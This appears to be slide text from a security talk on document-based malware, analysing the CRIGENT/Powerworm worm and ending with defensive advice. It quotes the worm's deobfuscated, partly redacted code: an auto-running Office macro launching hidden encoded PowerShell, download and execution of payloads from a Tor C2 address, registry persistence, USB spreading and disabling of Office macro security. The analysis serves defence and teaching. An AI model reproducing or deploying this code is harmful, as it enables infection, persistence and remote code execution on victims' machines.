Runs with 
-ExecutionPolicyBypass
Bypasses execution policies
and hides warnings
and prompts

VBS

Binary

Steal information
from email clients and
browsers

Can
CRIGENT / Powerworm

Worm that uses Office Macros and Powershell

Private Sub Workbook_Open()
    b = "JwBDAEkREDACTEDREDACTED" _
    & "QA7ACcAcgREDACTEDREDACTED" _
    & "BzACgAKQAREDACTEDREDACTED" _
    & "jAGUAIAAtREDACTEDREDACTED" _
    & "ACAAUwB5AREDACTEDREDACTED" _
    & "GcALgBpAGREDACTEDREDACTED" _
    & "4AIAAtAGEREDACTEDREDACTED" _
    & "AdAAuAHAAREDACTEDREDACTED"
    Set a = CreateObject("WScript.Shell")
a.Run "powershell.exe" & " -noexit -encodedcommand " & b, 0, False
End Sub

‘ -encodedcommand – executes base64 encoded script and does not honor execution policy
‘ d586f8a60160cf3d1ef42c7424cab5b7
CRIGENT / Powerworm

- Matt Graeber re-wrote, deobfuscated, and redacted some parts of the worm

https://github.com/mattifestation/PowerWorm

```
# Ignore all errors
$ErrorActionPreference = 'SilentlyContinue'

# The machine GUID is used throughout Power Worm
$MachineGUID = (Get-WmiObject Win32_ComputerSystemProduct).UUID

# If the payload is already persisted in the registry, kill
if (((Get-ItemProperty HKCU:\Software\Microsoft\Windows\CurrentVersion\Run) -match $MachineGUID)
{
    Get-Process -Id $PID | Stop-Process
}

# This function retrieves a URI from a DNS TXT record, downloads a zip file, and extracts it
function Get-DnsTXTRecord($DnsHost)
{
    $ZipFileUri = (((Invoke-Expression "nslookup -querytype=txt $DnsHost 8.8.8.8" ) -match '') -replace '', '')[0].Trim()  
    $WebClient.DownloadFile($ZipFileUri, $ZipPath) 
    $Destination = $Shell.NameSpace($ZipPath).Items(); 
    # Decompress files
    $Shell.NameSpace($ToolsPath).CopyHere($Destination, 20)
    Remove-Item $ZipPath
}
```

(Graeber, 2014)
```powershell
$Tor = Join-Path $ToolsPath 'tor.exe'
$Polipo = Join-Path $ToolsPath 'polipo.exe'
$ZipPath = Join-Path $ToolsPath ($MachineGuid + '.zip')
$WebClient = New-Object Net.WebClient
$Shell = New-Object -ComObject Shell.Application

if (!((Test-Path $Tor) -or !(Test-Path $Polipo)))
{
    Get-DnsTXTRecord 'REDACTEDREDACTED.de'
}

if (!((Test-Path $Tor) -or !(Test-Path $Polipo)))
{
    Get-DnsTXTRecord 'REDACTEDREDACTED.cc'
}

$TorRoamingLog = Join-Path $ToolsPath 'roaminglog'
# Start Tor and maintain an initialization log file
Start-Process $Tor -ArgumentList " --Log "notice file $TorRoamingLog"" -WindowStyle Hidden

# Wait for Tor to finish Initializing
do
{
    Start-Sleep 1
    $LogContents = Get-Content $TorRoamingLog
}
while (!($LogContents -match 'Bootstrapped 100%: Done.'))

# Start polipo proxy
Start-Process $Polipo -ArgumentList 'socksParentProxy=localhost:9050' -WindowStyle Hidden
Start-Sleep 7
$WebProxy = New-Object Net.WebProxy('localhost:8123')
$WebProxy.UseDefaultCredentials = $True
$WebClient.Proxy = $WebProxy

$Stage1Uri = 'http://REDACTEDREDACTED.onion/get.php?s=setups&mom=REDACTEDREDACTED&uid=' + $MachineGuid
while (!($Stage1Payload))
{
    $Stage1Payload=$WebClient.downloadString($Stage1Uri)
}

if ($Stage1Payload -ne 'none')
{
    # Execute the stage 1 payload
    Invoke-Expression $Stage1Payload
    # The downloaded payload is decoded, deobfuscated, cleaned up, and analyzed in PowerWorm_Part2.ps1
}

(Graber, 2014)
# This payload is decoded, deobfuscated, cleaned up, and analyzed in PowerWorm_Part5.ps1

```powershell
$EncodedPayload1 = 'PAaJACAAVABFATQBTACAATwBGACAAVQBTAEOAgAgAEMAbwBuAHMAaBkAGUAcgBp'
```

# This payload is decoded, deobfuscated, cleaned up, and analyzed in PowerWorm_Part4.ps1

```powershell
$EncodedPayload2 = 'PAaJACAAVABFATQBTACAATwBGACAAVQBTAEOAgAgAEMAbwBuAHMAaBkAGUAcgBp'
```

# This payload is decoded, deobfuscated, cleaned up, and analyzed in PowerWorm_Part3.ps1

```powershell
$EncodedPayload3 = 'PAaJACAAVABFATQBTACAATwBGACAAVQBTAEOAgAgAEMAbwBuAHMAaBkAGUAcgBp'
```

# The machine GUID is used throughout Power Worm

```powershell
$MachineGuid = (Get-WmiObject Win32_ComputerSystemProduct).UUID
```

```powershell
$VBScriptPayload = 'Dim ObjShell' + $Newline + 'Set ObjShell = CreateObject("Wscript.Shell")' + $Newline + 'ObjShell.Run "powershell.exe -noexit -encodedcommand ' + $EncodedPayload2 + '", 0'
```

```powershell
$VBScriptPayloadPath = $Env:APPDATA + '\\' + $MachineGuid + '\\' + $MachineGuid + '.vbs'

$VBScriptStarter = 'wscript.exe ' + $VBScriptPayloadPath + '"

Set-Content -Path $VBScriptPayloadPath -Value $VBScriptPayload
```

# Persist Power Worm to the registry

```powershell
try {Set-ItemProperty HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name $MachineGuid -Value $VBScriptStarter} catch {}
```

# Save additional payloads to the registry

```powershell
try {Set-ItemProperty HKCU:\Software\Microsoft -Name ($MachineGuid + '0') -Value $EncodedPayload1} catch {}
```

```powershell
try {Set-ItemProperty HKCU:\Software\Microsoft -Name ($MachineGuid + '1') -Value $EncodedPayload3} catch {}
```

(Graeber, 2014)
CRIGENT / Powerworm

(Graeber, 2014)
# In my analysis, I was never able to coax the C2 server into providing a stage 2 payload.

```
if ($Stage2Payload -and ($Stage2Payload -ne 'none'))
{
    # Execute the stage 2 payload
    Invoke-Expression $Stage2Payload
}
```
function Start-NewDriveInfection
{
    $NewDriveAddedAction = {
        $DriveLetter = $EventArgs.NewEvent.TargetInstance.Caption + ' '\n        Start-Job -ScriptBlock {
            $DriveLetter = $args[0]
            $MachineGuid = $args[1]

            # Get the contents of the stage 1 payload (i.e. this script) from the registry where is was saved upon initial infection
            $Stage1PayloadEncoded = (Get-ItemProperty HKCU:\Software\Microsoft).($MachineGuid + '1')
            $Stage1PayloadBytes = [Convert]::FromBase64String($Stage1PayloadEncoded)
            $Stage1Payload = [Text.Encoding]::Unicode.GetString($Stage1PayloadBytes)

            Invoke-Expression $Stage1Payload

            Invoke-OfficeDocInfection($DriveLetter)
        } -ArgumentList $DriveLetter, $MachineGuid
    }

    # Register an event for when a new disk appears - e.g. a USB external hard drive is attached
    Register-WmiEvent -Query "Select * from __InstanceCreationEvent within 5 where targetinstance isa 'win32_logicaldisk'" -Action $NewDriveAddedAction
}

# Disable Office security features. This causes macros to be executed automatically upon opening a document or spreadsheet. These settings also must be enabled in order to view and edit macros.
Set-ItemProperty HKCU:\Software\Microsoft\Office\*\*\Security -Name AccessVBOM -Type DWord -Value 1
Set-ItemProperty HKCU:\Software\Microsoft\Office\*\*\Security -Name VBAWarnings -Type DWord -Value 1
Get-ItemProperty HKCU:\Software\Microsoft\Office\*\Excel\Resiliency\DisabledItems | Remove-Item
Get-ItemProperty HKCU:\Software\Microsoft\Office\*\Word\Resiliency\DisabledItems | Remove-Item

(Graeber, 2014)
Defense

Macro Settings

- Disable all macros without notification
- Disable all macros with notification
- Disable all macros except digitally signed macros
- Enable all macros (not recommended; potentially dangerous code can run)
Other Strategies

- Applications Whitelisting
- Network ‘Whitelisting’ and Segmentation
- Monitoring!
Conclusion

• Historically document malware was popular and then fell out of fashion
• Recent resurgence in document malware downloaders
• Different formats utilized
• Bypass armoring of passwords and obfuscations
• Tools including pdfid, pdfparser, olevba, and Microsoft’s built-in debugger
• Cases
References


QUESTIONS?

THANK YOU!

tyler.halfpop@fidelissecurity.com

• @tylerhalfpop tylerhalfpop.com | @FidSecSys fidelissecurity.com